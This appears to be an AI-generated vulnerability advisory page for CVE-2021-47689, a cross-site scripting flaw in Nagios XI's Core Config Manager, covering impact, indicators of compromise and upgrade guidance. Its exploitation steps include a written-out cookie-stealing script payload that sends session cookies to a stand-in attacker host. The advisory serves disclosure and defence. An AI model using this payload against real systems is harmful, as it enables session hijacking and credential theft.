Register for the AI for Security Summit: Join Figma, Perplexity & Wiz

CVE-2021-47689
Nagios XI vulnerability analysis and mitigation

Overview

CVE-2021-47689 is a stored/reflected cross-site scripting (XSS) vulnerability in the Core Config Manager (CCM) component of Nagios XI. The flaw exists in the Templates pages, specifically in the UI logic that renders and handles the Active/Actions buttons, where insufficient validation or escaping of user-supplied input allows an attacker to inject and execute arbitrary scripts in a victim's browser. It affects all Nagios XI versions prior to 5.8.0 (CCM prior to 3.1.0). The vulnerability was published on October 30, 2025, and carries a CVSS v3.1 base score of 5.4 (Medium) (Red Hat CVE, VulnCheck Advisory).

Technical details

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The vulnerability resides in the CCM Templates pages of Nagios XI, where user-supplied input rendered in the Active/Actions button UI logic is not properly sanitized or escaped before being included in the HTML output. An authenticated attacker with low privileges can craft malicious input that, when viewed by another user (requiring user interaction), causes arbitrary JavaScript to execute in the victim's browser context. The attack vector is network-based, requires low privileges and passive user interaction, and has a changed scope affecting the browser environment of the victim (VulnCheck Advisory, Red Hat CVE).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session within the Nagios XI web interface. This can lead to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and limited confidentiality and integrity impacts within the application's scope. Availability is not directly impacted, and the vulnerability does not provide direct server-side code execution or lateral movement capabilities (Red Hat CVE, VulnCheck Advisory).

Exploitability

No evidence of active in-the-wild exploitation or inclusion in the CISA Known Exploited Vulnerabilities (KEV) catalog has been identified for this CVE. The EPSS score is approximately 0.34%, indicating a low probability of exploitation in the near term. Exploitation requires an authenticated attacker with low privileges and a victim to interact with the malicious content, limiting opportunistic mass exploitation. No public proof-of-concept exploit code has been specifically referenced beyond the VulnCheck advisory (VulnCheck Advisory).

Exploitation steps

  1. Authenticate: Log in to the Nagios XI web interface with a low-privileged account that has access to the Core Config Manager (CCM).
  2. Navigate to Templates: Access the CCM Templates pages where the Active/Actions button UI logic is rendered.
  3. Inject malicious payload: Insert an XSS payload (e.g., <script>document.location='http://attacker.com/steal?c='+document.cookie</script>) into a user-controlled input field associated with a template name or related field that is rendered in the Active/Actions button area.
  4. Trigger victim interaction: Entice or wait for a higher-privileged user (e.g., an administrator) to view the affected Templates page, causing the injected script to execute in their browser context.
  5. Harvest results: Collect stolen session cookies, credentials, or perform unauthorized actions via the victim's authenticated session (VulnCheck Advisory).

Indicators of compromise

  • Logs: Nagios XI web server access logs showing unusual GET/POST requests to CCM Templates pages containing encoded script tags or JavaScript event handlers (e.g., %3Cscript%3E, onerror=, onload=).
  • Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after accessing the CCM Templates pages, potentially carrying cookie or session data as query parameters.
  • Application: Unexpected or unfamiliar template entries in the CCM containing HTML or JavaScript code fragments in name or description fields.

Mitigation and workarounds

Nagios has addressed this vulnerability in Nagios XI 5.8.0 and CCM 3.1.0. Users should upgrade to Nagios XI 5.8.0 or later as the primary remediation. As a temporary workaround, restrict access to the Nagios XI CCM to trusted, authenticated users only, and limit network exposure of the Nagios XI web interface. Review and sanitize existing template entries for any injected script content (Nagios Changelog, VulnCheck Advisory).

Additional resources


SourceThis report was generated using AI

Related Nagios XI vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-48554HIGH7.7
  • Nagios logoNagios
  • cpe:2.3:a:nagios:nagios_xi
NoNoAug 12, 2026
CVE-2026-48553HIGH7.7
  • Nagios logoNagios
  • nagios4
NoNoAug 12, 2026
CVE-2026-48549MEDIUM6.9
  • Nagios logoNagios
  • cpe:2.3:a:nagios:nagios_xi
NoNoAug 26, 2026
CVE-2023-24035LOW3.5
  • Nagios XI logoNagios XI
  • cpe:2.3:a:nagios:nagios_xi
NoYesSep 14, 2026
CVE-2023-24034LOW3.1
  • Nagios XI logoNagios XI
  • cpe:2.3:a:nagios:nagios_xi
NoYesSep 14, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management